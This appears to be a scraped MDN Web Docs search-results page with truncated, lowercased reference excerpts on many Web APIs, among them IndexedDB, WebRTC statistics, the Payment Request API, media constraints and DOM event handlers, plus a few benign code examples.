...And 2 more matches
GlobalEventHandlers.onerror - Web APIs
source: url of the script where the error was raised (string) lineno: line number where error was raised (number) colno: column number for the line where the error occurred (number) error: error object (object) when the function returns true,
this prevents the firing of the default event handler.
... a good example for
this is when you are using an image tag, and need to specify a backup image in case the one you need is not available on the server for any reason.
... <img src="imagenotfound.gif" onerror="
this.onerror=null;
this.src='imagefound.gif';" /> the reason we have the
this.onerror=null in the function is that the browser will be stuck in an endless loop if the onerror image itself generates an error.
...And 2 more matches
GlobalEventHandlers.onpointerdown - Web APIs
this event can be sent to window, document, and element objects.
...
this is functionally equivalent to the mousedown event when generated due to user activity with a mouse or mouse-compatible device.
... example
this example demonstrates how to watch for and act upon pointerdown events using onpointerdown.
...And 2 more matches
GlobalEventHandlers.ontransitionend - Web APIs
one way
this can happen is by changing the value of the transition-property attribute which applies to the target.
... example in
this example, we use the transitionrun and transitionend events to detect when the transition begins and ends, to cause a text update to occur during the transition.
...
this could also be used to trigger animations or other effects, to allow chaining of reactions.
...And 2 more matches
HTMLCanvasElement.toBlob() - Web APIs
the htmlcanvaselement.toblob() method creates a blob object representing the image contained in the canvas;
this file may be cached on the disk or stored in memory at the discretion of the user agent.
...if
this argument is anything else, the default values 0.92 and 0.80 are used for image/jpeg and image/webp respectively.
...for example, to get the image in jpeg format: canvas.toblob(function(blob){...}, 'image/jpeg', 0.95); // jpeg at 95% quality a way to convert a canvas to an ico (mozilla only)
this uses -moz-parse to convert the canvas to ico.
...And 2 more matches
HTMLElement.lang - Web APIs
the language code returned by
this property is defined in the tags for identifying languages (bcp47) ietf document.
...the default value of
this attribute is unknown.
... note that
this attribute, though valid at the individual element level described here, is most often specified for the root element of the document.
...And 2 more matches
HTMLFormControlsCollection - Web APIs
this interface replaces one method from htmlcollection, on which it is based.
...llection" target="_top"><rect x="181" y="1" width="260" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="311" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlformcontrolscollection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface inherits the properties of its parent, htmlcollection.
... methods
this interface inherits the methods of its parent, htmlcollection.
...And 2 more matches
HTMLKeygenElement - Web APIs
note:
this page describes the keygen element interface as specified, not as currently implemented by gecko.
... labels read only unimplemented (see bug 556743) is a nodelist that represents a list of label elements associated with
this keygen element.
...
this is the empty string if the control is not a candidate for constraint validation (willvalidate is false), or it satisfies its constraints.
...And 2 more matches
HTMLMediaElement.load() - Web APIs
this method is generally only useful when you've made dynamic changes to the set of sources available for the media element, either by changing the element's src attribute or by adding or removing <source> elements nested within the media element itself.
... usage notes calling load() aborts all ongoing operations involving
this media element, then begins the process of selecting and loading an appropriate media resource given the options specified in the <audio> or <video> element and its src attribute or child <source> element(s).
...
this is described in more detail in supporting multiple formats in video and audio content.
...And 2 more matches
HTMLObjectElement - Web APIs
htmlobjectelement.archive is a domstring that reflects the archive html attribute, containing a list of archives for resources for
this object.
... htmlobjectelement.declare is a boolean that reflects the declare html attribute, indicating that
this is a declaration, not an instantiation, of the object.
...
this is the empty string if the control is not a candidate for constraint validation (willvalidate is false), or it satisfies its constraints.
...And 2 more matches
Option() - Web APIs
if
this is not specified, a default value of "" (empty string) is used.
...if
this is not specified, the value of text is used as the value, e.g.
...so that
this <option> will be the default value selected in the <select> element when the page is first loaded.
...And 2 more matches
HTMLSelectElement.selectedOptions - Web APIs
example in
this example, a <select> element with a number of options is used to let the user order various food items.
... html the html that creates the selection box and the <option> elements representing each of the food choices looks like
this: <label for="foods">what do you want to eat?</label><br> <select id="foods" name="foods" size="7" multiple> <option value="1">burrito</option> <option value="2">cheeseburger</option> <option value="3">double bacon burger supreme</option> <option value="4">pepperoni pizza</option> <option value="5">taco</option> </select> <br> <button name="order" id="order"> order now </button> <p id="output"> </p> the <select> element is set to allow multiple items to be selected, and it is 7 rows tall.
... javascript the javascript code that establishes the event handler for the button, as well as the event handler itself, looks like
this: let orderbutton = document.getelementbyid("order"); let itemlist = document.getelementbyid("foods"); let outputbox = document.getelementbyid("output"); orderbutton.addeventlistener("click", function() { let collection = itemlist.selectedoptions; let output = ""; for (let i=0; i<collection.length; i++) { if (output === "") { output = "your order for the following items has been placed: "; } output += collection[i].label; if (i === (collection.length - 2) && (collection.length < 3)) { output +=...
...And 2 more matches
HkdfParams - Web APIs
this should be set to hkdf.
...
this may be one of: sha-1 sha-256 sha-384 sha-512 salt a buffersource.
...
this is used to bind the derived key to an application or context, and enables you to derive different keys for different contexts while using the same input key material.
...And 2 more matches
IDBCursor.delete() - Web APIs
note:
this feature is available in web workers.
... syntax myidbcursor.delete(); returns an idbrequest object on which subsequent events related to
this operation are fired.
... exceptions
this method may raise a domexception of one of the following types: exception description transactioninactiveerror
this idbcursor's transaction is inactive.
...And 2 more matches
IDBCursor.key - Web APIs
if the cursor is outside its range,
this is set to undefined.
... note:
this feature is available in web workers.
... example in
this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
...And 2 more matches
IDBCursor.primaryKey - Web APIs
if the cursor is currently being iterated or has iterated outside its range,
this is set to undefined.
... note:
this feature is available in web workers.
... example in
this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
...And 2 more matches
IDBCursor.source - Web APIs
this function never returns null or throws an exception, even if the cursor is currently being iterated, has iterated past its end, or its transaction is not active.
... note:
this feature is available in web workers.
... example in
this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
...And 2 more matches
IDBDatabase.deleteObjectStore() - Web APIs
as with idbdatabase.createobjectstore,
this method can be called only within a versionchange transaction.
... note:
this feature is available in web workers.
... exceptions
this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction callback.
...And 2 more matches
IDBDatabaseSync - Web APIs
exceptions
this method can raise an idbdatabaseexception with the following code: constraint_err if an object store with the same name (based on case-sensitive comparison) already exists in the connected database.
... exceptions
this method can raise an idbdatabaseexception with the following code: not_found_err if an object store with the given name (based on case-sensitive comparison) already exists in the connected database.
... returns void exceptions
this method can raise an idbdatabaseexception with the following code: not_found_err if the object store with the given name (based on case-sensitive comparison) does not exist in the connected database.
...And 2 more matches
IDBFactory.cmp() - Web APIs
note:
this feature is available in web workers.
... note: do not use
this method for comparing arbitrary javascript values, because many javascript values are either not valid indexeddb keys (booleans and objects, for example) or are treated as equivalent indexeddb keys (for example, since indexeddb ignores arrays with non-numeric properties and treats them as empty arrays, so any non-numeric arrays are treated as equivalent).
...
this throws an exception if either of the values is not a valid key.
...And 2 more matches
IDBIndex.count() - Web APIs
note:
this feature is available in web workers.
... return value a idbrequest object on which subsequent events related to
this operation are fired.
... exceptions
this method may raise a domexception of one of the following types: exception description transactioninactiveerror
this idbindex's transaction is inactive.
...And 2 more matches
IDBIndex.multiEntry - Web APIs
this is decided when the index is created, using the idbobjectstore.createindex method.
...
this method takes an optional options parameter whose multientry property is set to true/false.
... note:
this feature is available in web workers.
...And 2 more matches
IDBIndex.unique - Web APIs
this is decided when the index is created, using the idbobjectstore.createindex method.
...
this method takes an optional parameter, unique, which if set to true means that the index will not be able to accept duplicate entries.
... note:
this feature is available in web workers.
...And 2 more matches
IDBKeyRange.bound() - Web APIs
note:
this feature is available in web workers.
... exceptions
this method may raise a domexception of the following type: exception description dataerror the following conditions raise an exception: the lower or upper parameters were not passed a valid key.
...
this means that the cursor will only retrieve records with keys inside that range.
...And 2 more matches
IDBKeyRange.includes() - Web APIs
note:
this feature is available in web workers.
...
this can be any type.
... exceptions
this method may raise a domexception of the following type: attribute description dataerror the supplied key was not a valid key.
...And 2 more matches
IDBObjectStore.delete() - Web APIs
note:
this feature is available in web workers.
... return value an idbrequest object on which subsequent events related to
this operation are fired.
... exceptions
this method may raise a domexception of the following types: exception description transactioninactiveerror
this object store's transaction is inactive.
...And 2 more matches
IDBObjectStore.getKey() - Web APIs
this is for retrieving specific records from an object store.
... note:
this feature is available in web workers.
... return value an idbrequest object on which subsequent events related to
this operation are fired.
...And 2 more matches
IDBObjectStore.keyPath - Web APIs
the keypath read-only property of the idbobjectstore interface returns the key path of
this object store.
... if
this property is null, the application must provide a key for each modification operation.
... note:
this feature is available in web workers.
...And 2 more matches
IDBOpenDBRequest.onblocked - Web APIs
this event is triggered when the upgradeneeded should be triggered because of a version change but the database is still in use (that is, not closed) somewhere, even after the versionchange event was sent.
... note:
this feature is available in web workers.
... //
this is used a lot below db = request.result; // run the displaydata() function to populate the task list with // all the to-do list data already in the idb displaydata(); }; //
this event handles the event whereby a new version of the // database needs to be created.
...And 2 more matches
IDBRequest.onerror - Web APIs
note:
this feature is available in web workers.
...for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has
this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item back // into the database var updatetitlereque...
...st = objectstore.put(data); // when
this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; objectstoretitlerequest.onerror = function() { // if an error occurs with the request, log what it is console.log("there has been an error with retrieving your data: " + objectstoretitlerequest.error); // todo what about event parameter into onerror()?
...And 2 more matches
IDBRequest.transaction - Web APIs
this property can be null for requests not made within transactions, such as for requests returned from idbfactory.open — in
this case you're just connecting to a database, so there is no transaction to return.
... note:
this feature is available in web workers.
...for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has
this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item back // into the database var updatetitlereque...
...And 2 more matches
IDBTransaction.db - Web APIs
the db read-only property of the idbtransaction interface returns the database connection with which
this transaction is associated.
... note:
this feature is available in web workers.
... //
this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding ...
...And 2 more matches
IDBTransaction.oncomplete - Web APIs
note:
this feature is available in web workers.
...you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the complete event by creating a transaction using the experimental (non-standard) readwriteflush mode (see idbdatabase.transaction.)
this is currently experimental, and can only be used if the dom.indexeddb.experimental pref is set to true in about:config.
... //
this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding ...
...And 2 more matches
KeyframeEffectOptions - Web APIs
properties composite optional determines how values are combined between
this animation and other, separate animations that do not specify their own specific composite operation.
... iterationcomposite optional determines how values build from iteration to iteration in
this animation.
...although
this is technically optional, keep in mind that your animation will not run if
this value is 0.
...And 2 more matches
LargestContentfulPaint - Web APIs
the timing of
this paint is a good heuristic for when the main page content is available during load.
...
this property returns an empty string when there is no id.
...
this example also demonstrates how to include buffered entries (those that ocurred before observer() was called), which is done by setting the buffered option to true.
...And 2 more matches
MSCandidateWindowUpdate - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer.
... general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support
this event.
...And 2 more matches
MSSiteModeEvent - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer and microsoft edge.
...*
this property is not supported for windows store apps using javascript.
...And 2 more matches
MediaDeviceInfo.groupId - Web APIs
syntax var groupid = mediadeviceinfo.groupid; value a domstring which uniquely identifies the group of related devices to which
this device belongs.
... examples in
this example, we assemble a list of the devices which are part of the same group as a given device.
...
this might be used to produce a user interface that gathers associated devices together for presentation purposes, or to make it easy for the user to choose to use the built-in camera and microphone on the same display at the same time.
...And 2 more matches
MediaQueryList - Web APIs
this is very useful for adaptive design, since
this makes it possible to observe a document to detect when its media queries change, instead of polling the values periodically, and allows you to programmatically make changes to a document based on media query status.
...
this method exists primarily for backward compatibility; if possible, you should instead use addeventlistener() to watch for the change event.
...
this method has been kept for backward compatibility; if possible, you should generally use removeeventlistener() to remove change notification callbacks (which should have previously been added using addeventlistener()).
...And 2 more matches
MediaRecorder.onerror - Web APIs
this exception can also occur when a request is made on a source that has been deleted or removed.
...
this may be the case, for example, with sources obtained using getusermedia() when the user denies permission to use an input device.
...
this also happens when a mediastreamtrack within the stream is marked as isolated due to the peeridentity constraint on the source stream.
...And 2 more matches
MediaSource.isTypeSupported() - Web APIs
this may include the codecs parameter to provide added details about the codecs used within the file.
...
this is not a guarantee, however, and your code must be prepared for the possibility that the media will not play correctly if at all.
... all web apis that work with media files use a "no/maybe/probably" approach (or, in
this case, "no or probably") when determining if a media type can be used.
...And 2 more matches
MediaStreamTrack.enabled - Web APIs
this can be used to intentionally mute a track.
... note: if the track has been disconnected, the value of
this property can be changed, but has no effect.
...for example, the green "in use" light next to the camera in imac and macbook computers turns off while the track is muted in
this way.
...And 2 more matches
MediaStream Image Capture API - Web APIs
this method returns a promise that resolves with a mediastream object.
...do
this by calling mediastream.getvideotracks().
...
this returns an array of mediastreamtrack objects.
...And 2 more matches
MediaTrackConstraints.groupId - Web APIs
if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.groupid as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
...
this makes it possible to use the group id to ensure that the audio and input devices are on the same headset by retrieving the group id of the input device and specifying it when asking for an output device, perhaps.
...And 2 more matches
MediaTrackConstraints.latency - Web APIs
if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.latency as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... because rtp doesn't include
this information, tracks associated with a webrtc rtcpeerconnection will never include
this property.
...And 2 more matches
MediaTrackConstraints.sampleSize - Web APIs
if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.samplesize as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... syntax var constraintsobject = { samplesize: constraint }; constraintsobject.samplesize = constraint; value if
this value is a number, the user agent will attempt to obtain media whose sample size (in bits per linear sample) is as close as possible to
this number given the capabilities of the hardware and the other constraints specified.
...And 2 more matches
MediaTrackSettings.deviceId - Web APIs
this lets you determine what value was selected to comply with your specified constraints for
this property's value as described in the mediatrackconstraints.deviceid property you provided when calling either getusermedia().
... if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.deviceid as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
...And 2 more matches
MediaTrackSettings.groupId - Web APIs
this lets you determine what value was selected to comply with your specified constraints for
this property's value as described in the mediatrackconstraints.groupid property you provided when calling either getusermedia().
... if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.groupid as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
...And 2 more matches
MediaTrackSettings.latency - Web APIs
this lets you determine what value was selected to comply with your specified constraints for
this property's value as described in the mediatrackconstraints.latency property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
...
this is, of course, an approximation, since latency can vary for many reasons including cpu, transmission, and storage overhead.
... if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.latency as returned by a call to mediadevices.getsupportedconstraints().
...And 2 more matches
MediaTrackSupportedConstraints.autoGainControl - Web APIs
if the constraint isn't supported, it's not included in the list, so
this value will never be false.
... the autogaincontrol constraint indicates whether or not the browser offers the ability to automatically control the gain (volume) on media tracks;
this obviously is contingent on whether or not the individual device supports automatic gain control as well; it's typically a feature provided by microphones.
... syntax autogainsupported = supportedconstraintsdictionary.autogaincontrol; value
this property is present in the dictionary (and its value is always true) if the user agent supports the autogaincontrol constraint.
...And 2 more matches
MediaTrackSupportedConstraints.noiseSuppression - Web APIs
if the constraint isn't supported, it's not included in the list, so
this value will never be false.
... the noisesuppression constraint indicates whether or not the browser offers the ability to automatically control the gain (volume) on media tracks;
this obviously is contingent on whether or not the individual device supports automatic gain control as well.
... syntax noisesuppressionsupported = supportedconstraintsdictionary.noisesuppression; value
this property is present in the dictionary (and its value is always true) if the user agent supports the noisesuppression constraint (and therefore supports noise suppression on audio tracks).
...And 2 more matches
MouseEvent.metaKey - Web APIs
be aware that many operating systems bind special functionality to the meta key, so
this property may be false even when the key is actually pressed.
... on windows, for example,
this key may open the start menu.
... note: on macintosh keyboards,
this key is the command key (⌘).
...And 2 more matches
NetworkInformation - Web APIs
note:
this feature is available in web workers.
... properties
this interface also inherits properties of its parent, eventtarget.
...
this value is determined using a combination of recently observed round-trip time and downlink values.
...And 2 more matches
Network Information API - Web APIs
this can be used to select high definition content or low definition content based on the user's connection.
... note:
this feature is available in web workers.
... examples detect connection changes
this example watches for changes to the user's connection.
...And 2 more matches
Node.nodePrincipal - Web APIs
obsolete since gecko 46 (firefox 46 / thunderbird 46 / seamonkey 2.43)
this feature is obsolete.
... note:
this property exists on all nodes (html, svg, mathml, xul, etc.), but only if the script trying to use it has chrome privileges.
... notes
this property is read-only; attempting to write to it will throw an exception.
...And 2 more matches
NodeFilter.acceptNode() - Web APIs
this method is expected to be written by the user of a nodefilter.
...the children of rejected nodes are not visited by the nodeiterator or treewalker object;
this value is treated as "skip
this node and all its children".
...
this is treated as "skip
this node but not its children".
...And 2 more matches
NodeList.prototype.forEach() - Web APIs
syntax somenodelist.foreach(callback[,
thisarg]); parameters callback a function to execute on each element of somenodelist.
...
thisarg optional value to use as
this when executing callback.
...ple let node = document.createelement("div"); let kid1 = document.createelement("p"); let kid2 = document.createtextnode("hey"); let kid3 = document.createelement("span"); node.appendchild(kid1); node.appendchild(kid2); node.appendchild(kid3); let list = node.childnodes; list.foreach( function(currentvalue, currentindex, listobj) { console.log(currentvalue + ', ' + currentindex + ', ' +
this); }, 'my
thisarg' ); the above code results in the following: [object htmlparagraphelement], 0, my
thisarg [object text], 1, my
thisarg [object htmlspanelement], 2, my
thisarg polyfill
this polyfill adds compatibility to all browsers supporting es5: if (window.nodelist && !nodelist.prototype.foreach) { nodelist.prototype.foreach = function (callback,
thisarg) {
thisarg =
thisarg ...
...And 2 more matches
NodeList - Web APIs
this can be circumvented by using array.prototype.foreach() — see
this document's example.
... it's good to keep
this distinction in mind when you choose how to iterate over the items in the nodelist, and whether you should cache the list's length.
...
this is mostly useful for non-javascript dom implementations.
...And 2 more matches
NonDocumentTypeChildNode.nextElementSibling - Web APIs
syntax var nextnode = elementnodereference.nextelementsibling; example <div id="div-01">here is div-01</div> <div id="div-02">here is div-02</div> <script type="text/javascript"> var el = document.getelementbyid('div-01').nextelementsibling; console.log('siblings of div-01:'); while (el) { console.log(el.nodename); el = el.nextelementsibling; } </script>
this example outputs the following into the console when it loads: siblings of div-01: div script polyfill for internet explorer 8
this property is unsupported prior to ie9, so the following snippet can be used to add support to ie8: // source: https://github.com/alhadis/snippets/blob/master/js/polyfills/ie8-child-elements.js if(!("nextelementsibling" in document.documentelement)){ object.defi...
...neproperty(element.prototype, "nextelementsibling", { get: function(){ var e =
this.nextsibling; while(e && 1 !== e.nodetype) e = e.nextsibling; return e; } }); } polyfill for internet explorer 9+ and safari // source: https://github.com/jserz/js_piece/blob/master/dom/nondocumenttypechildnode/nextelementsibling/nextelementsibling.md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('nextelementsibling')) { return; } object.defineproperty(item, 'nextelementsibling', { configurable: true, enumerable: true, get: function () { var el =
this; while (el = el.nextsibling) { if (el.nodetype === 1) { return el; } ...
...
this method is now defined on the former.
...And 2 more matches
NotificationEvent - Web APIs
this interface inherits from the extendableevent interface.
...
this value returns an empty string if the user clicked the notification somewhere other than an action button, or the notification does not have a button.
... example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); //
this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification ...
...And 2 more matches
Notifications API - Web APIs
note:
this feature is available in web workers.
...
this should be done in response to a user gesture, such as clicking a button, for example: btn.addeventlistener('click', function() { let promise = notification.requestpermission(); // wait for permission })
this is not only best practice — you should not be spamming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notifications not triggere...
...firefox is already doing
this from version 72, for example.
...And 2 more matches
OfflineAudioContext - Web APIs
this page covers both the event-based version and the promise-based version.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of
this interface: complete fired when the rendering of an offline audio context is complete.
... examples in
this simple example, we declare both an audiocontext and an offlineaudiocontext object.
...And 2 more matches
OffscreenCanvas.getContext() - Web APIs
note:
this api is currently implemented for webgl1 and webgl2 contexts only.
...
this context is only available on browsers that implement webgl version 1 (opengl es 2.0).
...
this context is only available on browsers that implement webgl version 2 (opengl es 3.0).
...And 2 more matches
PannerNode.refDistance - Web APIs
this value is used by all distance models.
... example
this example demonstrates how different values of refdistance affect how the volume of a sound decays as it moves away from the listener.
... unlike rollofffactor, changing
this value also delays the volume decay until the sound moves past the reference point.
...And 2 more matches
PayerErrors - Web APIs
properties email optional if present,
this domstring is a string describing the validation error from which the payer's email address—as given by paymentresponse.payeremail—currently suffers.
... if
this property is absent from the payererrors object, the email address passed validation.
... name optional if
this domstring is present in the object, the paymentresponse.payername property failed validation, and
this string explains what needs to be corrected.
...And 2 more matches
PaymentDetailsUpdate - Web APIs
this can be done either by calling the paymentrequestupdateevent.updatewith() method or by using the paymentrequest.show() method's detailspromise parameter to provide a promise that returns a paymentdetailsupdate that updates the payment information before the user interface is even enabled for the first time.
...make sure
this equals the sum of all of the items in displayitems.
...
this is not calculated automatically.
...And 2 more matches
PaymentRequest.prototype.id - Web APIs
example
this example shows how to give a paymentrequest instance a custom id.
... browser compatibility the compatibility table on
this page is generated from structured data.
...a for androidsafari on iossamsung internetidchrome full support 61edge full support 16firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 2 more matches
PaymentRequest.payerName - Web APIs
this option is only present when the requestpayername option is set to true in the options parameter of the paymentrequest() constructor.
... browser compatibility the compatibility table on
this page is generated from structured data.
...ndroidsafari on iossamsung internetpayernamechrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 2 more matches
PaymentResponse.retry() - Web APIs
this lets your app gracefully deal with situations such as invalid shipping addresses or declined credit cards.
...
this object's contents will vary depending on the payment used.
... for example, if the user chose to pay by credit card using the basic-card payment method,
this is a basiccarderrors object.
...And 2 more matches
Pbkdf2Params - Web APIs
this should be set to pbkdf2.
...
this may be one of: sha-1 sha-256 sha-384 sha-512 warning: sha-1 is considered vulnerable in most cryptographic applications, but is still considered safe in pbkdf2.
...
this should be a random or pseudo-random value of at least 16 bytes.
...And 2 more matches
Performance - Web APIs
an object of
this type can be obtained by calling the window.performance read-only attribute.
... note:
this interface and its members are available in web workers, except where indicated below.
... performance.memory read only a non-standard extension added in chrome,
this property provides an object with basic memory usage information.
...And 2 more matches
Using Performance Timeline - Web APIs
this interface has four properties and a json serializer (tojson().
..." + properties[j] + " = not supported"); } } } }
this interface also includes a tojson() method that returns the serialization of the performanceentry object.
... the following examples show the use of
this method.
...And 2 more matches
PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable() - Web APIs
at the time of
this writing,
this method's result only resolves to true on windows when windows hello capabilities are available (on recent versions of
this os).
... note:
this method may only be used in top-level contexts and will not be available in an <iframe> for example.
...as of today (march 2019),
this is basically indicating if windows hello may be used with the web authentication api and that the user has accepted its use.
...And 2 more matches
PublicKeyCredential - Web APIs
note:
this api is restricted to top-level contexts.
... publickeycredential.rawid read only secure context an arraybuffer that holds the globally unique identifier for
this publickeycredential.
...
this identifier can be used to look up credentials for future calls to credentialscontainer.get.
...And 2 more matches
PublicKeyCredentialCreationOptions.attestation - Web APIs
this is a string whose value indicates the preference regarding the attestation transport, between the authenticator, the client and the relying party.
... syntax attestation = publickeycredentialcreationoptions.attestation value a string which may be "none": the relying party is not interested in
this attestation.
...
this avoids making a check with the attestation certificate authority and asking the user consent for sharing identifying information.
...And 2 more matches
PublicKeyCredentialCreationOptions.user - Web APIs
this is not intended to store the login of the user (see name below).
...
this an opaque identifier which can be used by the authenticator to link the user account with its corresponding credentials.
...
this value will later be used when fetching the credentials in authenticatorassertionresponse.userhandle.
...And 2 more matches
PublicKeyCredentialCreationOptions - Web APIs
this value will be signed by the authenticator and the signature will be sent back as part of authenticatorattestationresponse.attestationobject.
...
this array is sorted by descending order of preference.
...
this hint may be overridden by the browser.
...And 2 more matches
PushEvent.PushEvent() - Web APIs
note that the
this constructor is exposed only to a service worker context.
...
this can be push or pushsubscriptionchange.
... example var datainit = { data : 'some sample text' } var mypushevent = new pushevent('push', datainit); mypushevent.data.text(); // should return 'some sample text' browser compatibility the compatibility table on
this page is generated from structured data.
...And 2 more matches
PushManager.subscribe() - Web APIs
this key is not the same ecdh key that you use to encrypt the data.
... note:
this parameter is required in some browsers like chrome and edge.
... example
this.onpush = function(event) { console.log(event.data); // from here we can write the data to indexeddb, send it to any open // windows, display a notification, etc.
...And 2 more matches
RTCConfiguration.iceTransportPolicy - Web APIs
if
this property isn't included in the rtcconfiguration, the default value, all, is used.
...
this is the default.
...
this includes, for example, those candidates relayed by a stun or turn server.
...And 2 more matches
RTCDataChannel.bufferedAmountLowThreshold - Web APIs
when the number of buffered outgoing bytes, as indicated by the bufferedamount property, falls to or below
this value, a bufferedamountlow event is fired.
...
this event may be used, for example, to implement code which queues more messages to be sent whenever there's room to buffer them.
... the user agent may implement the process of actually sending data in any way it chooses;
this may be done periodically during the event loop or truly asynchronously.
...And 2 more matches
RTCIceCandidatePairStats.consentExpiredTimestamp - Web APIs
this indicates when the current stun bindings — the mapping of the ip address and port configurations for both peers on the webrtc connection — are due to expire.
... if
this time has arrived or passed, the bindings have expired.
... syntax consentexpiration = rtcicecandidatepairstats.consentexpiredtimestamp; value a domhighrestimestamp object that indicates the time at which the stun binding that allows the two peers described by
this rtcicecandidatepair to communicate will expire (or the time at which the binding did expire, if the time has passed).
...And 2 more matches
RTCIceCandidateStats.deleted - Web APIs
if
this value is true, the candidate described by the rtcicecandidatestats object is no longer under consideration.
...
this generally mean sthat any associated socket(s) have been closed and released.
... the net result is the same; the candidate is no longer under consideration if
this value is true.
...And 2 more matches
RTCIceServers.urls - Web APIs
syntax var iceserver = { urls = iceserverurl | [ url1, ..., urln ], username: "webrtc", // optional credential: "turnpassword" // optional }; iceservers.push(iceserver); the value of
this property may be specified as a single url or as an array of multiple urls.
... a single ice server
this example creates a new rtcpeerconnection which will use a stun server at stunserver.example.org to negotiate connections.
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "stun:stunserver.example.org" } ] }); notice that only the urls property is provided; the stun server doesn't require authentication, so
this is all that's needed.
...And 2 more matches
RTCIceTransport.state - Web APIs
this differs from the gatheringstate, which only indicates whether or not ice gathering is currently underway.
...in
this state, checking of candidates to look for those which might be acceptable has not yet begun.
... "disconnected" the ice agent has determined that connectivity has been lost for
this rtcicetransport.
...And 2 more matches
RTCInboundRtpStreamStats.fecPacketsReceived - Web APIs
the fecpacketsreceived property of the rtcinboundrtpstreamstats dictionary indicates how many forward error correction (fec) packets have been received by
this rtp receiver from the remote peer.
... syntax var fecpacketsreceived = rtcinboundrtpstreamstats.fecpacketsreceived; value an unsigned integer value which indicates the total number of fec packets which have been recieved from the remote peer during
this rtp session.
... note:
this counter may also be incremented when fec packets arrive in-band along with media content;
this can happen with opus, for example.
...And 2 more matches
RTCInboundRtpStreamStats.sliCount - Web APIs
the slicount property of the rtcinboundrtpstreamstats dictionary indicates how many slice loss indication (sli) packets the rtcrtpreceiver for which
this object provdes statistics sent to the remote rtcrtpsender.
... in general, what's usually of interest is that the higher
this number is, the more the stream data is becoming corrupted between the sender and the receiver, requiring resends or dropping frames.
... syntax var slicount = rtcinboundrtpstreamstats.slicount; value an unsigned integer indicating the number of sli packets
this receiver sent to the remote sender due to lost runs of macroblocks.
...And 2 more matches
RTCOutboundRtpStreamStats.pliCount - Web APIs
the plicount property of the rtcoutboundrtpstreamstats dictionary states the number of times the remote peer's rtcrtpreceiver sent a picture loss indication (pli) packet to the rtcrtpsender for which
this object provides statistics.
... syntax var plicount = rtcoutboundrtpstreamstats.plicount; value an integer value indicating the number of times a pli packet was sent to
this sender by the remote peer's rtcrtpreceiver.
... note:
this property is only used for video streams.
...And 2 more matches
RTCPeerConnection.canTrickleIceCandidates - Web APIs
this property is only set after having called rtcpeerconnection.setremotedescription().
... ideally, your signaling protocol provides a way to detect trickling support, so that you don't need to rely on
this property.
